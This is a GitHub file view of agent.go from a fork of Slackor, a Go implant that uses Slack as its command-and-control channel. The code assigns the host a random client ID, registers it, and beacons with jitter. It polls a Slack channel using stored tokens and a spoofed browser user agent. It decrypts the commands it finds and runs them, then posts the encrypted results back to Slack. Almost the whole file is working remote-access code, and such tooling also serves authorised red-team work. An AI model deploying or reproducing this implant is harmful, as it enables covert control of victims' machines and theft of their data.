forked from Coalfire-Research/Slackor
-
Notifications
You must be signed in to change notification settings - Fork 7
/
agent.go
256 lines (234 loc) · 6.98 KB
/
agent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
"github.com/n00py/Slackor/internal/config"
"github.com/n00py/Slackor/internal/crypto"
"github.com/n00py/Slackor/internal/slack"
"github.com/n00py/Slackor/pkg/command"
_ "github.com/n00py/Slackor/pkg/common"
_ "github.com/n00py/Slackor/pkg/darwin"
_ "github.com/n00py/Slackor/pkg/linux"
_ "github.com/n00py/Slackor/pkg/windows"
"github.com/mattn/go-shellwords"
)
//go:generate goversioninfo -icon=icon.ico -manifest=versioninfo.manifest
// processedJobIDs tracks all job IDs previously processed by the implant
var processedJobIDs = []string{}
func checkErr(err error) { //Checks for errors
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func RandomString(len int) string { //Creates a random string of uppercase letters
bytes := make([]byte, len)
for i := 0; i < len; i++ {
bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25
}
return string(bytes)
}
func randomFloat(min, max float64, n int) []float64 { //Creates a random float between to numbers
rand.Seed(time.Now().UnixNano())
res := make([]float64, n)
for i := range res {
res[i] = min + rand.Float64()*(max-min)
}
return res
}
func stringInSlice(a string, list []string) bool { // A way to check if something is in the slice
for _, b := range list {
if b == a {
return true
}
}
return false
}
func makeTimestamp(beacon int) string { //This makes the unix timestamp
t := time.Now().UnixNano() / int64(time.Microsecond)
//Minus the beacon time and three seconds from the last time it ran
t = (t / 1000000) - 3 - int64(beacon)
tee := fmt.Sprint(t)
return tee
}
func GetLANOutboundIP() string { // Get preferred outbound ip of this machine
conn, err := net.Dial("udp", "4.5.6.7:1337") //This doesn't actually make a connection
if err != nil {
log.Fatal(err)
}
defer conn.Close()
localAddr := conn.LocalAddr().(*net.UDPAddr)
IP := localAddr.IP.String()
return IP
}
func getVersion() string {
versionCmd := command.GetCommand("version")
if versionCmd != nil {
result, _ := versionCmd.Run("", "", []string{})
if result != "" {
return result
}
return "OS versioning error"
} else {
return "OS versioning unavailable"
}
}
func CheckCommands(t, clientID string) { //This is the main thing, reads the commands channel and acts accordingly
client := &http.Client{}
URL := "https://slack.com/api/channels.history"
v := url.Values{}
v.Set("channel", config.CommandsChannel)
v.Set("token", config.Token)
v.Set("oldest", t)
//pass the values to the request's body
req, _ := http.NewRequest("POST", URL, strings.NewReader(v.Encode()))
req.Header.Add("Authorization", "Bearer "+config.Bearer)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
resp, netError := client.Do(req)
if netError != nil {
fmt.Println("Connection error: " + netError.Error())
return
}
bodyText, _ := ioutil.ReadAll(resp.Body)
s := string(bodyText)
fmt.Println(s) //Just for debugging
type Auto struct { //This structure is for parsing the JSON
Ok bool `json:"ok"`
Error string `json:"error"`
Messages []struct {
Type string `json:"type"`
User string `json:"user,omitempty"`
Text string `json:"text"`
ClientMsgID string `json:"client_msg_id,omitempty"`
Ts string `json:"ts"`
Username string `json:"username,omitempty"`
BotID string `json:"bot_id,omitempty"`
Subtype string `json:"subtype,omitempty"`
} `json:"messages"`
HasMore bool `json:"has_more"`
}
var m Auto
json.Unmarshal([]byte(s), &m)
// If the error string exists, you are probably rate limited. Sleep it off.
if m.Error != "" {
fmt.Println("Rate Limited, Sleeping for a bit...")
time.Sleep(time.Duration(randomFloat(1, 30, 1)[0]) * time.Second)
}
//This loops through each message
for _, Message := range m.Messages {
// this splits the different parts of the message
stringSlice := strings.Split(Message.Text, ":")
audienceID := stringSlice[0]
jobID := stringSlice[1]
cmdType := stringSlice[2]
encCmd := stringSlice[3]
// If the audienceID is for me (or all agents)
if audienceID == clientID || audienceID == "31337" {
// And this job has not yet been processed
if !stringInSlice(jobID, processedJobIDs) {
// append processed ID to the list of processed jobs
processedJobIDs = append(processedJobIDs, jobID)
fmt.Println(processedJobIDs)
/// Run stuff based on type
var data string
var err error
if encCmd != "" {
data, err = crypto.Decrypt(encCmd)
if err != nil {
fmt.Println("error:" + err.Error())
continue
}
fmt.Printf("data: %q\n", data)
}
cmdParser := shellwords.NewParser()
cmdParser.ParseEnv = config.ParseEnv
cmdParser.ParseBacktick = config.ParseBacktick
args, err := cmdParser.Parse(string(data))
if err != nil {
fmt.Println("error:" + err.Error())
continue
}
switch cmdType {
case "command":
go RunCommand(clientID, jobID, args)
default:
go RunModule(cmdType, clientID, jobID, args)
}
}
}
}
return
}
func RunModule(cmdType string, clientID string, jobID string, args []string) {
cmd := command.GetCommand(cmdType)
var result string
var err error
if cmd != nil {
result, err = cmd.Run(clientID, jobID, args)
if err != nil {
result = err.Error()
}
} else {
result = fmt.Sprintf("%s command unavailable", cmdType)
}
encryptedOutput, _ := crypto.Encrypt([]byte(result))
slack.SendResult(clientID, jobID, "output", encryptedOutput)
}
func RunCommand(clientID string, jobID string, args []string) { //This receives a command to run and runs it
var err error
cmdName := args[0]
var cmdArgs []string
cmd := command.GetCommand(cmdName)
if cmd != nil {
cmdArgs = args[1:]
} else {
cmdName = "execute"
cmd = command.GetCommand("execute")
cmdArgs = args
}
var result string
if cmd != nil {
result, err = cmd.Run(clientID, jobID, cmdArgs)
if err != nil {
result = err.Error()
}
} else {
result = fmt.Sprintf("%s command unavailable", cmdName)
}
encryptedOutput, _ := crypto.Encrypt([]byte(result))
slack.SendResult(clientID, jobID, "output", encryptedOutput)
}
func main() { //Main function
// Set config.OSVersion
cmd := command.GetCommand("version")
if cmd != nil {
cmd.Run("", "", []string{})
}
//Give the client a random ID
rand.Seed(time.Now().UTC().UnixNano())
clientID := RandomString(5)
// Register with server
slack.Register(clientID)
for {
// 20% Jitter
delay := randomFloat(float64(config.Beacon)*.8, float64(config.Beacon)*1.2, 1)
fmt.Println(delay) // Just for debugging
//Sleep for beacon interval + jitter
time.Sleep(time.Duration(delay[0]) * time.Second)
t := makeTimestamp(config.Beacon)
//Check if commands are waiting for us
CheckCommands(string(t), clientID)
}
}